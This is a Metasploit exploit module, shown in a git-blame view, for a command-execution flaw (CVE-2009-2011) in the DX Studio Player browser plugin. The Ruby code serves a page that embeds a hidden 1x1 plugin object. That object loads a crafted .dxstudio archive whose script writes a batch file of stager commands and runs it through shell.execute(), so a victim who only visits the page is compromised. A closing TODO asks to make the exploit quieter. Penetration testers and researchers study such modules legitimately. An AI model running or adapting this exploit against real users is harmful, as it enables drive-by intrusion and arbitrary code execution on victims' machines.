Files
metasploit-gs/modules/exploits/windows/browser/dxstudio_player_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

138 lines
3.7 KiB
Ruby
Raw Normal View History

2010-02-17 20:14:40 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-02-17 20:14:40 +00:00
##
require 'rex/zip'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-02-17 20:14:40 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
def initialize(info = {})
super(update_info(info,
2014-03-11 12:07:27 -05:00
'Name' => 'Worldweaver DX Studio Player shell.execute() Command Execution',
2010-02-17 20:14:40 +00:00
'Description' => %q{
2014-03-11 12:07:27 -05:00
This module exploits a command execution vulnerability within the DX
Studio Player from Worldweaver for versions 3.0.29 and earlier. The
player is a browser plugin for IE (ActiveX) and Firefox (dll). When an
unsuspecting user visits a web page referring to a specially crafted
.dxstudio document, an attacker can execute arbitrary commands.
2013-08-30 16:28:54 -05:00
2014-03-11 12:07:27 -05:00
Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20
and IE 6 on Windows XP SP3. In IE, the user will be prompted if they
wish to allow the plug-in to access local files. This prompt appears to
occur only once per server host.
2013-08-30 16:28:54 -05:00
2014-03-11 12:07:27 -05:00
NOTE: This exploit uses additionally dangerous script features to write
to local files!
2010-02-17 20:14:40 +00:00
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'References' =>
[
[ 'CVE', '2009-2011' ],
[ 'BID', '35273' ],
[ 'OSVDB', '54969' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '8922' ],
2010-02-17 20:14:40 +00:00
[ 'URL', 'http://dxstudio.com/guide.aspx' ]
],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
# 'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { } ],
],
2014-02-08 17:11:47 -06:00
'CmdStagerFlavor' => 'vbs',
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-06-09',
2010-02-17 20:14:40 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
def on_request_uri(cli, request)
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
url_base = "http://"
url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url_base += ":" + datastore['SRVPORT'].to_s + get_resource()
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
payload_url = url_base + "/payload"
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
# handle request for the payload
if (request.uri.match(/payload/))
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
# build the payload
return if ((p = regenerate_payload(cli)) == nil)
2013-08-30 16:28:54 -05:00
2010-05-26 22:39:56 +00:00
cmds = generate_cmdstager({:linemax => 2047}, p)
2010-02-17 20:14:40 +00:00
scr = ""
2010-03-05 00:29:44 +00:00
cmds.each { |ln|
scr << "f.writeString('"
2010-02-17 20:14:40 +00:00
scr << ln
scr << "\\n');\n"
}
2013-08-30 16:28:54 -05:00
2010-02-17 20:14:40 +00:00
# make header.xml
hdrxml = %Q|<?xml version="1.0"?>
<dxstudio>
<script><![CDATA[function onInit()
{
var f=system.file.openWrite("BATNAME");
f.writeString('@echo off\\n');
2010-02-17 20:14:40 +00:00
CMDS
f.close();
shell.execute("BATNAME");
2010-02-17 20:14:40 +00:00
}]]>
</script>
</dxstudio>
|
hdrxml.gsub!(/CMDS/, scr);
bat_name = rand_text_alphanumeric(rand(32)) + ".bat"
hdrxml.gsub!(/BATNAME/, bat_name);
# craft the zip archive
zip = Rex::Zip::Archive.new
zip.add_file("header.xml", hdrxml)
data = zip.pack
2012-04-20 13:31:42 -06:00
print_status("Sending file.dxstudio payload")
2010-02-17 20:14:40 +00:00
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
2010-02-17 20:14:40 +00:00
# Handle the payload
# handler(cli)
return
end
# otherwise, send the html..
html = %Q|<html>
<body>
<div height=100%>
Please wait...
</div>
<object width=1 height=1 classid='clsid:0AC2706C-8623-46F8-9EDD-8F71A897FDAE'>
<param name="src" value="DXURL" />
<embed width=1 height=1 src=DXURL type="application/x-dxstudio">
</embed>
2010-02-17 20:14:40 +00:00
</object>
</body>
</html>
|
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name} HTML")
2010-02-17 20:14:40 +00:00
# Transmit the compressed response to the client
html.gsub!(/DXURL/, payload_url)
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
=begin
TODO:
- make it more quiet
- auto-migrate?
2010-02-17 20:14:40 +00:00
=end